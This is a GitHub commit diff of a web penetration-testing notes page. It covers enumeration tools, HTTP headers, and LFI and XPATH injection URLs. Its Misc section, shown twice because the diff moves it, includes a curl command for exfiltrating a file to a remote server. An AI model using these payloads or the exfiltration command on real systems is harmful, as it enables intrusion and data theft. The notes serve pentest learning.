Skip to content

Commit e5796ed

Browse files
zweilosecgitbook-bot
authored andcommitted
GitBook: [master] one page modified
1 parent 9a961d5 commit e5796ed

File tree

1 file changed

+132
-52
lines changed

1 file changed

+132
-52
lines changed

web/web-notes/README.md

Lines changed: 132 additions & 52 deletions
Original file line numberDiff line numberDiff line change
@@ -101,57 +101,6 @@ Local File Inclusion \(LFI\) / Remote File Inclusion \(RFI\)
101101

102102
Common and/or useful files to check for when exploiting Local File Inclusion \(for both Linux and Windows\): [https://github.com/tennc/fuzzdb/tree/master/dict/BURP-PayLoad/LFI](https://github.com/tennc/fuzzdb/tree/master/dict/BURP-PayLoad/LFI)
103103

104-
## Misc
105-
106-
### XPATH Dump
107-
108-
```text
109-
https://example.com/accounts.php?user=test"]/../*%00&xpath_debug=1
110-
```
111-
112-
### LFI - Retrieve HTML/PHP files without executing
113-
114-
```text
115-
https://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
116-
```
117-
118-
whatismybrowser.com - research User-Agent strings
119-
120-
Injecting IPs when `.` is disallowed: convert dotted-decimal format to decimal value - [`ip2dh`](https://github.com/4ndr34z/MyScripts/blob/master/ip2dh.py)
121-
122-
Use `curl` to exfiltrate file on remote server \(from attackers box\): `curl -d @/<file> <remote server>`
123-
124-
in order to proxy tools that have no proxy option: create burn proxy 127.0.0.1:80 [Ippsec:HacktheBox - Granny & Grandpa](https://www.youtube.com/watch?v=ZfPVGJGkORQ)
125-
126-
vulnerability testing for webdav \(or other file upload vulns!\): `davtest`
127-
128-
bypassing filetype filters with http MOVE command to rename allowed filetype [Ippsec:HacktheBox - Granny & Grandpa](https://www.youtube.com/watch?v=ZfPVGJGkORQ)
129-
130-
Wordpress enumeration: `wpscan -u <url> [--disable-tls-checks]`
131-
132-
pull Google cached webpage if regular site not loading: `cache:https://<somewebsite>`
133-
134-
Virtual Host Routing: substitute IP for hostname to get different results
135-
136-
### gobuster
137-
138-
```bash
139-
gobuster -u $url -w $wordlist -l -x php -t 20
140-
[-l include length, -x append .php to searches, -t threads]
141-
```
142-
143-
hydra against http wordpress login walkthrough: [IppSec:HacktheBox - Apocalyst](https://www.youtube.com/watch?v=TJVghYBByIA)
144-
145-
web application fuzzer: [wfuzz](https://github.com/xmendez/wfuzz)
146-
147-
Web site "flyover" surveillance: [Aquatone](https://github.com/michenriksen/aquatone) "is a tool for visual inspection of websites across a large amount of hosts and is convenient for quickly gaining an overview of HTTP-based attack surface" - from the author \(see link\). Visual dirbuster?
148-
149-
### Crawl web pages for keywords - useful for password/vhost enumeration lists
150-
151-
```bash
152-
cewl
153-
```
154-
155104
## HTTP Enumeration
156105

157106
* Search for folders with gobuster:
@@ -261,6 +210,53 @@ finger batman@$ip
261210
nikto -useproxy http://$ip:3128 -h $ip
262211
```
263212

213+
### Cookies
214+
215+
* [https://cookiepedia.co.uk/](https://cookiepedia.co.uk/)
216+
* "Largest Database of Pre-Categorized Cookies"
217+
* Scans a website for cookie usage
218+
219+
### HTTP Authorization headers
220+
221+
```bash
222+
# Basic Auth (Base64)
223+
Authorization: Basic AXVubzpwQDU1dzByYM==
224+
225+
# Bearer Token (JWT)
226+
Authorization: Bearer <token>
227+
228+
# API Key
229+
GET /endpoint?api_key=abcdefgh123456789
230+
X-API-Key: abcdefgh123456789
231+
232+
# Digest Auth
233+
Authorization: Digest username=”admin” Realm=”abcxyz” nonce=”474754847743646”, uri=”/uri” response=”7cffhfr54685gnnfgerg8”
234+
235+
# OAuth2.0
236+
Authorization: Bearer hY_9.B5f-4.1BfE
237+
238+
# Hawk Authentication
239+
Authorization: Hawk id="abcxyz123", ts="1592459563", nonce="gWqbkw", mac="vxBCccCutXGV30gwEDKu1NDXSeqwfq7Z0sg/HP1HjOU="
240+
241+
# AWS signature
242+
Authorization: AWS4-HMAC-SHA256 Credential=abc/20200618/us-east-1/execute-api/aws4_
243+
```
244+
245+
### HTTP Security Headers
246+
247+
1. [X-Frame-Options](https://www.netsparker.com/whitepaper-http-security-headers/#XFrameOptionsHTTPHeader)
248+
2. [X-XSS-Protection](https://www.netsparker.com/whitepaper-http-security-headers/#XXSSProtectionHTTPHeader)
249+
3. [X-Content-Type-Options](https://www.netsparker.com/whitepaper-http-security-headers/#XContentTypeOptionsHTTPHeader)
250+
4. [X-Download-Options](https://www.netsparker.com/whitepaper-http-security-headers/#XDownloadOptionsHTTPHeader)
251+
5. [Content Security Policy \(CSP\)](https://www.netsparker.com/whitepaper-http-security-headers/#ContentSecurityPolicyHTTPHeader)
252+
6. [HTTP Strict Transport Security \(HSTS\)](https://www.netsparker.com/whitepaper-http-security-headers/#HTTPStrictTransportSecurityHSTSHTTPHeader)
253+
7. [HTTP Public Key Pinning](https://www.netsparker.com/whitepaper-http-security-headers/#HTTPPublicKeyPinning)
254+
8. [Expect-CT](https://www.netsparker.com/whitepaper-http-security-headers/#ExpectCTHTTPHeader)
255+
9. [Referrer-Policy](https://www.netsparker.com/whitepaper-http-security-headers/#ReferrerPolicyHTTPHeader)
256+
257+
* [https://www.netsparker.com/whitepaper-http-security-headers/](https://www.netsparker.com/whitepaper-http-security-headers/)
258+
* [https://owasp.org/www-project-secure-headers/](https://owasp.org/www-project-secure-headers/)
259+
264260
## OpenVAS Vulnerability Scanner
265261

266262
```bash
@@ -274,10 +270,94 @@ openvas-setup
274270
#Check that it is running on port 939
275271
netstat -tulpn
276272

277-
#Login by using a browser to navigate to: https://127.0.0.1:939
273+
#Login by using a browser and navigating to: https://127.0.0.1:939
274+
```
275+
276+
## Misc
277+
278+
### XPATH Dump
279+
280+
```text
281+
https://example.com/accounts.php?user=test"]/../*%00&xpath_debug=1
282+
```
283+
284+
### LFI - Retrieve HTML/PHP files without executing
285+
286+
```text
287+
https://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
288+
```
289+
290+
whatismybrowser.com - research User-Agent strings
291+
292+
Injecting IPs when `.` is disallowed: convert dotted-decimal format to decimal value - [`ip2dh`](https://github.com/4ndr34z/MyScripts/blob/master/ip2dh.py)
293+
294+
Use `curl` to exfiltrate file on remote server \(from attackers box\): `curl -d @/<file> <remote server>`
295+
296+
in order to proxy tools that have no proxy option: create burn proxy 127.0.0.1:80 [Ippsec:HacktheBox - Granny & Grandpa](https://www.youtube.com/watch?v=ZfPVGJGkORQ)
297+
298+
vulnerability testing for webdav \(or other file upload vulns!\): `davtest`
299+
300+
bypassing filetype filters with http MOVE command to rename allowed filetype [Ippsec:HacktheBox - Granny & Grandpa](https://www.youtube.com/watch?v=ZfPVGJGkORQ)
301+
302+
Wordpress enumeration: `wpscan -u <url> [--disable-tls-checks]`
303+
304+
pull Google cached webpage if regular site not loading: `cache:https://<somewebsite>`
305+
306+
Virtual Host Routing: substitute IP for hostname to get different results
307+
308+
### gobuster
309+
310+
```bash
311+
gobuster -u $url -w $wordlist -l -x php -t 20
312+
[-l include length, -x append .php to searches, -t threads]
313+
```
314+
315+
hydra against http wordpress login walkthrough: [IppSec:HacktheBox - Apocalyst](https://www.youtube.com/watch?v=TJVghYBByIA)
316+
317+
web application fuzzer: [wfuzz](https://github.com/xmendez/wfuzz)
318+
319+
Web site "flyover" surveillance: [Aquatone](https://github.com/michenriksen/aquatone) "is a tool for visual inspection of websites across a large amount of hosts and is convenient for quickly gaining an overview of HTTP-based attack surface" - from the author \(see link\). Visual dirbuster?
320+
321+
### Crawl web pages for keywords - useful for password/vhost enumeration lists
322+
323+
```bash
324+
cewl
325+
```
326+
327+
### Common checks
328+
329+
```bash
330+
# robots.txt
331+
curl http://example.com/robots.txt
332+
333+
# headers
334+
wget --save-headers http://www.example.com/
335+
# Strict-Transport-Security (HSTS)
336+
# X-Frame-Options: SAMEORIGIN
337+
# X-XSS-Protection: 1; mode=block
338+
# X-Content-Type-Options: nosniff
339+
340+
# Cookies
341+
# Check Secure and HttpOnly flag in session cookie
342+
# If exists BIG-IP cookie, app behind a load balancer
343+
344+
# SSL Ciphers
345+
nmap --script ssl-enum-ciphers -p 443 www.example.com
346+
347+
# HTTP Methods
348+
nmap -p 443 --script http-methods www.example.com
349+
350+
# Cross Domain Policy
351+
curl http://example.com/crossdomain.xml
352+
# allow-access-from domain="*"
353+
354+
# Cookies explained
355+
https://cookiepedia.co.uk/
278356
```
279357

280358

281359

360+
361+
282362
If you like this content and would like to see more, please consider [buying me a coffee](https://www.buymeacoffee.com/zweilosec)!
283363

0 commit comments

Comments
 (0)